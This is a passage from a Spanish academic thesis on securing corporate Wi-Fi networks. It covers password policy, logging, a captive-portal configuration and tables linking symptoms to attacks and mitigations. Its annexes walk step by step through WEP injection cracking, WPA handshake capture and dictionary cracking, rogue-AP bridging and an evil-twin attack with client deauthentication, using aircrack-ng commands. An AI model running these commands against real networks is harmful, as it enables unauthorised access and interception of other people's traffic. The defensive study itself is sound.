politica de contrasenas seguras ya que si se va a implementar politicas de cuentas en
un ambiente de conexiones inalambricas, las contrasefias son la ultima barrera que
se mantiene entre el atacante y la integridad de la red. En el escenario en el que el
atacante logra obtener la contrasena del usuario por cualquier medio de los
mencionados en este trabajo o de cualquier otra manera, no podra acceder a todas
las funcionalidades de la red si el usuario esta correctamente evaluado y la definicion
de los recursos a los que tienen acceso esta correctamente establecida. Ahora, si bien
es cierto que es necesario salvaguardar la integridad de la red con una contrasena
segura, no tiene sentido pedirle a un usuario estandar cuyos permisos quedan
restringidos a navegar por un par de paginas web, una contrasefia que contenga mas
de 14 caracteres combinando letras minusculas, mayudsculas, nimeros y caracteres
especiales que tenga que cambiarse cada semana y no pueda repetirse por 4 semanas
seguidas porque la va a olvidar, la va a anotar en un papel o en el peor de los casos
en su propia computadora, y todos los esfuerzos que se realizaron para que la
contrasena sea segura se veran comprometidos por un simple error de capa 8 (el

usuario).
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4.2.5. Registros y Logs

Las auditorias permiten a los sistemas informaticos tener una evaluacion conjunta
de como estan funcionando, si tienen falencias (sean del aspecto que sean) y en base
a ello, mejorar. Ahora, para lograr que una auditoria brinde el servicio que es
necesario para lograr esta evaluacion, son necesarios dos componentes importantes

en el entorno tecnologico de la empresa: registros y logs.

Sin registros y logs, el administrador de seguridad de la empresa no podria conocer
quienes accedieron a la red, a qué hora y con qué perfil de usuario. Los logs permiten
el rastro de eventos que se dieron en un momento determinado. Una caracteristica
primordial de un log es que los registros se insertan de manera secuencial, por lo
tanto es imposible alterarlo, esto puede, sin embargo, convertirse en un problema ya
que la data obtenida puede llegar a ser poco interpretable por el volumen de los
datos. Para analizarla, es recomendable usar software especifico para el analisis de
éstos. Por lo general el software encargado de esta tarea, permite correlacionar los

datos dentro de los logs en cuanto a fechas o eventos.
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4.2.6. Métodos de acceso por ticket

El método de acceso por tickets es el método de acceso mas comun en los centros
educativos por ejemplo, en donde la red WiFi al parecer no tiene ninguna seguridad,
sin embargo una vez adentro, el usuario se encuentra con un portal cautivo que
requiere de un inicio de sesidon para lograr acceder a la conexién deseada. En los
siguientes pasos se detalla la manera mediante la cual se puede realizar una conexion

por ticket usando un UTM Sophos.

4.2.6.1. Creacion de la red inalambrica.
Este tutorial fue tomado del documento: “Redes WIFI: ;Realmente se pueden

proteger?” escrito por José Luis Corraliza Parras.

Se usard la interfaz de Sophos explicada en el apartado de “Infraestructura

Necesaria” (4.1)

Interfaces & Routing
Edit Interface

Quality of Service (QoS)
Uplink Monitoring ]
IPvG Type: | Ethernet v
Static Routing

Dynamic Routing (OSPF)

Name: Wireless Guest Network

Hardware: wlan0 (Remote Wireless

Border Gateway Protocol Dynamic IPv4 []

Multicast Routing (F’”‘.’LS’V‘) IPv4 address: _

Network Services IPv4 Netmask: | /24 (255.255.255.0) o
Network Protection IPv4 Default GW: []

Web Protection
Comment: | Auto-created by Wireless Pr

Email Protection B Avancod

Advanced Protection

Endpoint Protection +/ Save ¥ Cancel

Figura 3 Interfaz inicial de Sophos para configuracion de un portal cautivo (Corraliza 2017)
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Como se puede ver, se ha seleccionado la interfaz wlan0 de la UTM, se le ha asignado
un nombre identificativo y una direccion IP dentro de la subred elegida. Una vez

configurada, debe presentar una pantalla similar a esta:

0 [ Edit [T ] i wireless Guest Network [Up] on wian0 [ )

MTU 1500
Delete
X Auto-created by Wireless Protection

I Clone

Figura 4 Configuracion de la UTM (Corraliza 2017)

En el menu de la izquierda, se selecciona “Wireless Protection”, y en la sub opcion

"Wireless Networks":

Edit Wireless Network

Network name: FlesGuest

Network SSID: FlesGuest
Encryption mode: | WPA2/WPA Personal ~
Passphrase/PSK. eeesesesecscsccscccsce

Repeat: ooooooooooooooooooool

Clienttraffic. | Separate Zone
Comment:
=l Advanced
Algorithm: | AES (secure) ~
Frequency band: | 2.4 and 5 GHz v |

Time-based access: [

Client isolation: | Enabled v
Hide SSID: | No s
U-APSD: | Enabled ~

MAC filtering type: | None 2

+/ Save X cCancel

Figura 5 Configuracion de sequridad para la UTM (Corraliza 2017)
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Con esto ya se ha creado la definicién la red inaldmbrica que ofrecera acceso internet

para invitados en la empresa a través de un portal cautivo.

4.2.6.2. Reglas de navegacion
Como la red que se esta configurando brindard acceso unicamente a internet, es
necesario solamente configurar los puertos 80 y 443 (http/s)

Msearch Firewall

Dashboard Rules | @ CountryBloc.. | CountryBlockin...

Management
<+ New Rule...

Definitions & Users [
Interfaces & Routing Opes Live Log

Network Services Edit Rule

Network Protection Group: | :: Please select :: v

Firewall
NAT

Intrusion Prevention Sources: =+

Position: | 13 w

Server Load Balancing
VolP
Advanced

Web Protection

T K wireless Guest Netw

Email Protection Semvices: &+

Advanced Protection T 5 web Surfing
Endpoint Protection
Wireless Protection

Webserver Protection Destinations: B+

RED Management T &% Internet IPv4

Site-to-site VPN O & intemet IPv6

Remote Access
Logging & Reporting Action: | Allow W

Support Comment |Auto-created by Wireless Pr
Log off # Advanced

o Save ¥ Cancel

Figura 6 Configuracion de Acceso a Internet de la UTM (Corraliza 2017)
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Una vez seleccionadas las opciones, se guardan los cambios y se accede a la red a

través del portal cautivo

4.3. Tabla de resumen

Tabla 3 Sequimiento y Control de Vulnerabilidades

Sintoma

Incremento de la

cantidad de accesos

a una  misma
cuenta desde
distintas
direcciones
Incremento
excesivo del
consumo de
memoria del
servidor

Posibles

Vulnerabilidades

e Ingenieria Social

e Fuerza bruta

e Ataque DDOS
e Ataque

diccionario

por

Mitigacion

Solicitar Cambio

de contrasenas

Establecer un log
de handshakes
para monitorear y
descubrir patrones

similares.

Seguimiento

Monitoreo de

sesion

Usando

ElasticStack (o
cualquier otra
herramienta  de
visualizacion ~ de
datos) monitorear

de manera

continua los
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Incremento
excesivo de
sesiones anonimas

a un mismo Access

Point

Usuarios
quejandose de que
son “sacados” de la

red inalambrica

Incremento de

Spam

e Ataque WPS

e Ataque por
inyeccion de
trafico

e Ingenieria Social

Desactivar el WPS
del router después
de realizar las
autenticaciones

necesarias para los

dispositivos que lo

requieran

Realizar capturas

esporadicas de
trafico para
asegurar la

integridad de las

conexiones

Establecer reglas

de mailing

handshakes
realizados en lared
Monitorear
continuamente los
dispositivos
conectados a un
APy  verificar

cuantos de ellos

comparten el pin

WPS

Realizar capturas
esporadicas de
trafico para
analizarlo
posteriormente
con ayuda de
herramientas
como Snort o
AlientVault.
Monitorear las

fuentes de RSS y
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Varias SSID iguales

Lentitud en la
conexion  (incluso

en intranet)

e Rogue WPA

e Ataque de escucha

de protocolos

sniffing

(0)

Cambiar el método
de  encriptacion

del AP asi como su

SSID de manera

esporadica

Se puede
mantener un
registro de las

MAC conectadas a

cada puerto a
través de una
estrategia de
DHCP  Snooping,
varios fabricantes
incorporan  esta
solucion en sus
equipos, entre
ellos CISCO.

mailing de la
empresa
Monitorear el

nombre 'y las
direcciones de los
AP asociados a la
empresa
continuamente
ArpWatch es un
programa que
monitorea y
detecta ataques de
escucha de

protocolos y

puertos. Es un gran

aliado para
mantener un
control y
seguimiento  de
esta
vulnerabilidad.
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Routers
firmware

desactualizado

con

e Ataque KRACK

Actualizaciones
constantes de
Firmware de los
routers y de los
sistemas
operativos que se

conecten a ellos.

Llevar un
versionamiento en
un log de las
actualizaciones

realizadas a los
equipos de la

empresa.
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5. CAPITULO 5: Elaboracién del Documento

El documento constara de 3 subcapitulos que permitiran la identificacion, mitigacion
y seguimiento de las vulnerabilidades de las redes inaldmbricas a las cuales sea

aplicado.

5.1. Identificacion de vulnerabilidades

La identificacion de las vulnerabilidades puede ser de dos tipos:

5.1.1 Por consecuencia de ataque
Sucede cuando el usuario es presa de un ataque ocasionado por una vulnerabilidad
en la red inaldmbrica, cuando esto sucede, éste suele comunicarse con el

departamento de TI de la organizacion y posteriormente el ataque es mitigado.

5.1.11.  Ventajas

- Es barato
- El nivel de personalizacion para cada tipo de ataque es alto
- No requiere infraestructura externa

5.1.1.2. Desventajas

- No es escalable
- A gran escala tiende a congestionar los canales de soporte

- Se genera mucha documentacion (casos de soporte)
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5.1.2. Por monitoreo preventivo
El monitoreo preventivo consiste en implementar un apartado (ya sea de hardware o

software) que permita

5.1.2.1. Ventajas

- Permite visualizar vulnerabilidades a gran escala ahorrando casos de soporte

- Permite disminuir papeleo y la cantidad de recursos humanos utilizado para

solucionar casos de soporte
- Alta escalabilidad
- Permite realizar mitigaciones masivas

5.1.2.2. Desventajas

Bajo nivel de personalizacion por ataque
- Implica el tener una infraestructura externa

Suele tener un alto costo econémico

Puede (en funcion de la cantidad de filtros) mermar la velocidad de navegacion

En esta fase, es importante identificar correctamente la vulnerabilidad que esta
causando el comportamiento anormal de la red ya que una falsa identificacion puede
llevar a realizar una mitigacion en vano, lo cual se traduce gasto innecesario de

tiempo y recursos.
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En la siguiente tabla, se adjuntan sintomas asociados a las posibles vulnerabilidades
estudiadas en el presente trabajo.
Tabla 4 Identificacion de Vulnerabilidades (Resumen)
Sintoma Posibles Vulnerabilidades
Incremento de la cantidad de accesos a
e Ingenieria Social
una misma cuenta desde distintas
e Fuerza bruta
direcciones
Incremento excesivo del consumo de e Ataque DDOS
memoria del servidor e Ataque por diccionario
Incremento  excesivo de  sesiones
e Ataque WPS
andnimas a un mismo Access Point
Usuarios quejdndose de que son
e Ataque por inyeccion de trafico
“sacados” de la red inalambrica
Incremento de Spam e Ingenieria Social
Varias SSID iguales e Rogue WPA
Lentitud en la conexion (incluso en e Ataque de escucha de protocolos o

intranet) sniffing

Routers con firmware desactualizado e Ataque KRACK
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5.2. Mitigacion de vulnerabilidades

En la tabla, se aprecian las medidas de mitigacion recomendadas en el presente

trabajo a las posibles vulnerabilidades que se puedan sucitar

Tabla 5 Mitigacién de Vulnerabilidades (Resumen)

Sintoma
Incremento de la cantidad
de accesos a una misma
desde

cuenta distintas

direcciones

Incremento excesivo del

consumo de memoria del

servidor

Incremento excesivo de

sesiones anonimas a un

mismo Access Point

Posibles Vulnerabilidades

e Ingenieria Social

e Fuerza bruta

e Ataque DDOS

e Ataque por diccionario

e Ataque WPS

Mitigacion
Solicitar  Cambio de

contrasenas

Establecer un log de

handshakes para
monitorear y descubrir

patrones similares.

Desactivar el WPS del

router después de
realizar las
autenticaciones
necesarias  para  los
dispositivos  que lo
requieran
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Usuarios quejdndose de
que son “sacados” de la red

inalambrica

Incremento de Spam

Varias SSID iguales

Lentitud en la conexion

(incluso en intranet)

Routers con firmware

desactualizado

e Ataque por inyeccion de

trafico

e Ingenieria Social

e Rogue WPA

e Ataque de escucha de

protocolos o sniffing

e Ataque KRACK

Realizar capturas
esporadicas de trafico
para asegurar la
integridad de las
conexiones

Establecer reglas de
mailing

Cambiar el método de
encriptacion del AP asi
como su SSID de manera
esporadica

Se puede mantener un
registro de las MAC
conectadas a cada puerto
a traves de una estrategia
de DHCP  Snooping,
varios fabricantes
incorporan esta solucion
en sus equipos, entre
ellos CISCO.

Actualizaciones

constantes de Firmware
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de los routers y de los
sistemas operativos que

se conecten a ellos.

5.3. Seguimiento a las actividades realizadas

El seguimiento de la mitigacion es necesario por dos razones principales:

5.3.1.  Prevencion de futuros ataques

La prevencion de futuros ataques del mismo tipo es poco probable ya que no existe
una mitigacion universal de vulnerabilidades. Por ello, es importante hacer un
seguimiento a una vulnerabilidad mitigada para que las brechas de seguridad se

reduzcan.

5.3.2.  Control de cambios e incidentes

Como se establecio en el punto 4.2.2: “Cada vez que un usuario pide un cambio en un
sistema, genera una brecha de seguridad potencial”, este principio se aplica también
a la aplicacidon de mitigaciones ya que, al encubrir una falla, se puede descubrir otra.
Por ello, el seguimiento y control de incidentes es imprescindible al momento de

realizar mitigaciones.

A continuacion, se ha recopilado informacién de las vulnerabilidades mas comunes
explicadas en el presente trabajo de titulacion, y se las ha dispuesto de tal manera

que queden visibles los tres pasos del documento en cuestion:
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Tabla 6 Sequimiento a las actividades Realizadas (Resumen)

Posibles
Sintoma
Vulnerabilidades

Incremento de la

cantidad de accesos

a una misma e Ingenieria Social
cuenta desde e Fuerza bruta
distintas

direcciones

Incremento

excesivo del e Ataque DDOS
consumo de e Ataque
memoria del diccionario
servidor

Incremento

excesivo de e Ataque WPS

sesiones anonimas

Mitigacion

Solicitar Cambio

de contrasenas

Establecer un log

de handshakes

por para monitorear y

descubrir patrones

similares.

Desactivar el WPS

del router después

de realizar las

Seguimiento

Monitoreo de

sesion

Usando

ElasticStack (o

cualquier otra
herramienta de
visualizaciéon de

datos) monitorear

de manera
continua los
handshakes

realizados en la red
Monitorear
continuamente los

dispositivos
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a un mismo Access

Point

Usuarios
quejandose de que
son “sacados” de la

red inalambrica

Incremento de
Spam
Varias SSID iguales

e Ataque por
inyeccion de
trafico

e Ingenieria Social

e Rogue WPA

autenticaciones
necesarias para los
dispositivos que lo

requieran

Realizar capturas

esporadicas de
trafico para
asegurar la

integridad de las

conexiones

Establecer reglas

de mailing

Cambiar el método
de  encriptacion

del AP asi como su

conectados a un
APy verificar

cuantos de ellos

comparten el pin

WPS

Realizar capturas
esporadicas de
trafico para
analizarlo
posteriormente
con ayuda de
herramientas
como Snort o
AlientVault.
Monitorear las

fuentes de RSS y

mailing de la
empresa
Monitorear el

nombre 'y las
direcciones de los

AP asociados a la
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Lentitud en la
conexion  (incluso

en intranet)

Routers con
firmware

desactualizado

e Ataque de escucha

de protocolos

sniffing

e Ataque KRACK

(0)

SSID de manera

esporadica

Se puede
mantener un
registro de las

MAC conectadas a

cada puerto a

través de una

estrategia de
DHCP  Snooping,

varios fabricantes

incorporan  esta
soluciéon en sus
equipos, entre
ellos CISCO.
Actualizaciones
constantes de

Firmware de los
routers y de los
sistemas

operativos que se

conecten a ellos.

empresa
continuamente

ArpWatch es un
programa que
monitorea y
detecta ataques de
escucha de

protocolos y

puertos. Es un gran

aliado para
mantener un
control y
seguimiento  de
esta
vulnerabilidad.
Llevar un

versionamiento en

un log de las
actualizaciones
realizadas a los
equipos de la
empresa.

52



53



Conclusiones

Basado en el trabajo realizado, se concluye que la seguridad total en un sistema no
existe, la diversificacion de ataques realizados es directamente proporcional a los
esfuerzos de los programadores e ingenieros en infraestructura. Por lo tanto, el
modelo de seguridad propuesto, mas que prevenir, ayuda a mitigar las amenazas

presentes en el dia a dia.

En base a la evaluacion de riesgos presentes, y haciendo alusion a los tres pilares
fundamentales de la seguridad IT se puede decir que una red Wi-Fi va a ser segura

en funcion de:

e TFuncionalidad
e Seguridad

e Experiencia de Usuario

Idealmente se esperaria tener un triangulo equilatero, sin embargo, la realidad
requiere que, en ocasiones, se tenga que poner un especial énfasis en alguno de sus
vértices, mermando asi la presencia de los otros dos. De esta manera, un sistema muy
seguro, podria provocar un mal desempeno funcional y, por consiguiente, una mala
experiencia de usuario ya sea por tiempos de espera, diseflos poco intuitivos o

simplemente por inconvenientes de autenticacion.

La propuesta realizada entonces, se centra en dos partes:
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1. El fortalecimiento del factor humano

a. Utilizando autenticaciones robustas, el sistema presenta al atacante un
filtro mediante el cual “adivinar las contrasenas” se vuelve una tarea
dificil. Incluso utilizando mecanismos como fuerza bruta, un password
complejo brinda una capa extra de proteccion que proporciona al
usuario autenticado una tranquilidad adicional al momento de navegar

en las redes

2. Fortalecimiento del envio y recepcion de datos a través de las

conexiones Wi-Fi

a. Eluso de Web Services y encriptacion de lado a lado, son practicas que
evitan la captura de datos a travées de sniffers o ataques de “Man in the
Middle”.

b. La desactivacion de interfaces inseguras como WPS cuando no se esta
utilizando esta caracteristica, permite agregar una capa extra de
seguridad y evitar ataques como WPS Attack

c. Mantener los routers actualizados permite evitar ataques como KRACK

d. Elevar el nivel de seguridad de WEP a WPA es muy aconsejable ya que
se ha demostrado que la seguridad de WEP no esta a la altura de los

estandares modernos.
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Recomendaciones

En el presente estudio no se tomo6 en cuenta las distintas encriptaciones de los
paquetes que viajan a través de Wifi, por lo que se recomienda que esto se tome en
cuenta en futuros estudios ya que la encriptacion permite una mayor integridad de

la informacion transferida.

Las recomendaciones en funcion del trabajo realizado se agrupan en 2:

1. Recomendaciones de Infraestructura

e Elusode UTM no esta mal, sin embargo, la potencia y la confianza que brinda
un hardware especifico para firewall es mucho mayor que soluciones como
Untangle

e Se puede realizar acciones como la recoleccion de datos y posterior analisis
con WireShark, lo cual implica mucho esfuerzo y costo computacional, sin
embargo, la recomendacion es usar software especifico para esto como por

ejemplo AlientVault

2. Recomendaciones de Seguridad

e El uso de WPS es necesario para la rapida conexion entre dispositivos que no
tengan pantalla, como por ejemplo impresoras, etc. Sin embargo, es necesario
desactivarlo a nivel de hardware cuando no esta siendo usado ya que un router

con WPS activado es propenso a ataques.
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e El monitoreo constante de nombres y direcciones de los AP asociados a una
entidad (ya sea doméstica o corporativa) posibilita la pronta respuesta ante

amenazas de ataques Rogue WPA o “Gemelo Malvado” .
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3. Anexos

a. Suite aircrack-ng

Todos los tipos de ataque se pueden realizar con las herramientas de la suite

aircrack-ng:

e airodump-ng, se utiliza principalmente para capturar paquetes 802.11 que
circulan por la red de una forma pasiva.

e airmon-ng, configurar una tarjeta wireless en modo monitor (modo promiscuo
para detectar todo el trafico).

e aireplay-ng, herramienta con la cual podemos inyectar paquetes en la red, asi
conseguir que el AP o un cliente responda un mayor namero de veces y mas
IVs.

e aircrack-ng, es una herramienta de criptoanalisis que nos permite recuperar
una clave a partir de capturas de paquetes con airodump-ng, combinando

ataques estadisticos con ataques de fuerza bruta/diccionario
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b. Pasos para realizar un ataque WEP por inyeccion de trafico

1. Cambiar el modo de interfaz inalambrica a modo monitor

:~# airmon-ng start wlan®@

Found 2 processes tli cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
you may want to kill (some of) them!

PID VENS

1051 dhclient3

1624 dhclient3

Process with PID 1624 (dhclient3) is running on interface wlan®@

Chipset Driver

Realtek RTL8187L rt18187

[phyo]
(monitor mode enabl n

p
g

hy
d on mon®)

Figura 7 Cambio del modo de la interfaz a modo monitor

ii. Ejecucion del comando para realizar la captura de paquetes
1. airodump-ng mon0 -c 1 -w capturaNOWEP-01 --bssid 2C:95:7F:46:C1:B4

v % root@bt: ~
Edit View Terminal Help

(> ]

got © ARP
(got © ARP
(got © ARP
(got © ARP

o> B <> B <> B <> ]

(got © ARP
(got @ ARP
(got © ARP
(got ARP
(g0t 0 ARP
(got ARP

o

=

NNNNNNNNNN
D ¢ [

Lo B <> ]

Figura 8 Ejecucion del comando para la captura de paquetes



Asociacion al Access Point y falsa autenticacion
Una vez dentro del AP, se des autentica a los clientes conectados para generar mas

trafico y se captura paquetes que contengan el vector de inicializacion.

1. Falsa Autenticacion:

Figura 9 Falsa Autenticacion

2. Des autenticacioén del cliente existente

Figura 10 Des autenticacion del cliente existente

Una vez des autenticado el cliente, se puede apreciar la captura de data de airodump-

ng
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~ v % root@bt: ~
File Edit View Terminal Help

1 ][ Elapsed: 22 mins ][ 2 -08-22 20: ][ display ap only
PWR RXQ acons #Data, #/s (H MB ENC CIPHER AUTH ESSID

248803 0 1 54e WEP__WEP OPN NOWEPNO

Figura 11 Captura de data de airodump-ng

iv. Con los suficientes paquetes de data capturados, se busca la clave WEP

01l.cap

Ehcoyption

34 NOWEPNO WEP (241068 IVs

Opening capturaNOWEP
will be restar

1ng PTW attack

Figura 12 Busqueda de la Clave WEP
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c. Pasos para realizar un ataque por diccionario de datos WPA

Al igual que en el ataque WEP por inyeccion de trafico, se pone la tarjeta en modo

monitor

Asociacion al AP

(opcion -1 para falsa autenticacion y opcion -3 para inyectar paquetes y generar IVs,

File Edit View Terminal Help
[ 2015-08-22 21:14
Beacons #Data, #/s C ENC CIPHER AUTH ESS
WPA.-CCMP' PSK NOW
STATION Frames Probe

:34:56:78
38:B1:DB: AA

File Edit View Terminal Help
aireplay-ng =3, - be2(C:9527F:46:(1:B4 mond
) specifiede=lising the device MAC '(12:34;:56:78:90:21)
g ‘for beaconsframe=(BSSID: 2(:9537F:469€1:E4) 0on channal, 1

A v x root@bt: ~ I

AC (12:3
:95:7F:46:C

ing Authentication Request (Open System) [ACK]
thentication suc
ng AssoCla

NN

NN

Figura 13 Asociacién al AP
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:95:7F:36:L1:B4

(BSSID: 2C:95:

Figura 14 Asociacion al AP (2)

Una vez que el cliente se desconecta y realiza una nueva autenticacién con el punto
de acceso, al capturar el handshake, se puede ver como en la ventana de airodump-

ng aparece el mensaje: “WPA Handshake” indicando que éste ha sido capturado.

File Edit View Terminal Help

Figura 15 WPA Handshake

Una vez capturado el handshake, es posible utilizar los diccionarios que vienen
incluidos en la distribuciones como Backtrack o Kali (en el presente trabajo se ha

utilizado el diccionario otorgado por backtrack llamado rockyou.txt)
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Figura 16 Uso de diccionarios

Después de unos minutos, se obtiene la clave. Cabe mencionar que la clave en este
caso fue relativamente sencilla de descifrar ya que era una secuencia de numeros

ordenada.

File Edit View Termina

F1 DF

Current passphrase: 0987654321

859213408 3B#59 7B 78 10pF4 BB

39°51 28 95 7E Bl 1A DD|29.9F
KEY*FOUND* [ B987
KEY FOUND! [ 09876

F5 FC 86 55 F8 12 BD

6D E6 5C 75 5 7

CC'28 91 3F

29 BC 42 D6

L

Figura 17 Obtencion de la Clave
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d. Pasos para realizar un ataque Rogue AP

La idea general y los pasos a seguir como ejemplo son los siguientes:

Creacion de un Rogue AP usando airbase-ng y asignacion del ESSID falso:

root@t:~# airbase-ng --essid Rogue -c 11 mon0®

18:25:17 C(reated tap interface at0

18:25:17 Trying to set MTU on at® to 1500

18:25:17 Access Point with BSSID 00:11:22:33:44:55 started.

Figura 18 Creacion de un Rogue AP

Creacion de un puente entre la interfaz ethernet y la interfaz inalambrica
Para ello, se crea una interfaz de puente y se le asigna un nombre con el comando

bretl:
brctl addrbr Wifi-Bridge

Ahora se anade tanto la interfaz Ethernet como la interfaz virtual atO (creada por

airbase-ng) a este puente:
brctl addif Wifi-Bridge etho
brctl addif Wifi-Bridge at®

Activacion de la interfaces para subir el puente:

ifconfig etho 0.0.0.0 up
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ifconfig at@ ©.0.0.0 up
Ahora se habilita el re direccionamiento IP en el kernel de linux (Rogue AP) para

asegurar que los paquetes estan siendo redireccionados:

echo 1 > /proc/sys/net/ipv4/ip_forward

Se le proporciona una IP al puente que se ha creado y se la activa:
ifconfig Wifi-Bridge 192.168.1.53 up

Con esto hemos permitido que cualquier cliente que se conecte al Rogue AP tenga
acceso a la red autorizada usando el puente inalambrico "WifiBridge" que se acaba

de crear de crear.

Este ejemplo se puede complementar con el detalle de la creacién de un punto de

acceso gemelo malvado en redes inalambricas

e. Conversion de formatos

Se puede configurar barnyard2 para que su salida sea el fichero PCAP

descomentando la siguiente linea del fichero barnyard2.conf:
log_tcpdump: <prefijo_del_fichero>.pcap

En la imagen se puede apreciar cOmo se ejecuta:

Figura 19 Uso de Banyard para realizacion de un fichero PCAP
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Una vez hecho esto, ya se tiene la captura que podra ser analizada con Wireshark. Es
importante recordar que Snort unicamente registra los paquetes que generan alerta,
por lo que no se puede contar con una traza completa de las sesiones o
conversaciones entre cliente y servidor, sin embargo, nos puede ayudar a identificar

paquetes que contienen codigo malicioso u otro tipo de ataques.

f. Pasos para la creacion de un punto de acceso gemelo malvado en redes
inalambricas

Uso de airodump-ng para localizar el BSSID y ESSID del punto de acceso
que se quiere emular

airodump-ng mon®

ENC CIPHER

=. WPAZ CCMP

Figura 20 Uso de airodump-ng para localizacion del BSSID y ESSID

En este ejemplo se emulara la red con BSSID E4:12:1D:EF:37:E5 y ESSID FSanz.

Se conecta con un cliente cualquiera al punto de acceso legitimo. Como se ve en la
foto anterior, se localiza la direccion MAC del equipo que se ha conectado

(FO:E7:7E:81:78:8A). Esta sera la victima.
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Creacion de un nuevo punto de acceso con el mismo ESSID
Se crea un nuevo punto de acceso con airbase-ng, con el mismo ESSID que el punto
de acceso legitimo y BSSID igual a la direccion MAC de la victima que se ha

seleccionado:

airbase-ng -a E4:12:1D:EF:37:E5 --essid FSanz -c 1 mon@

Figura 21 Creacion de un nuevo punto de acceso

Este nuevo punto de acceso no aparece en la pantalla al ejecutar airodump-ng , solo

aparece un ESSID con el nombre de FSanz:

Figura 22 Visualizacion del ESSID llamado FSanz
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iii. Des autenticacion del usuario de la red original
Ahora se envia una peticion de des-autenticacién al cliente que hemos suplantado la
direccion MAC para desconectarlo y que intente conectar de nuevo, pero esta vez a

nuestro punto de acceso EvilTwin:

aireplay-ng --deauth 50 -a E4:12:1D:EF:37:E5 -h E4:12:1D:EF:37:E5 -c E@O-

B9-A5-D2-C1-F6 mon®@.

iv. Constatacion del funcionamiento
Desde el cliente, es imposible diferenciar entre la red original y el gemelo malvado

ya que poseen la misma direccion MAC

Z _Ii_s,aaved ra
Segura

Telco
Segura

dev
Segura

FSanz

Segura

ARRIS-1AD2

Segura

Figura 23 Visualizacién del nuevo AP con el mismo ESSID
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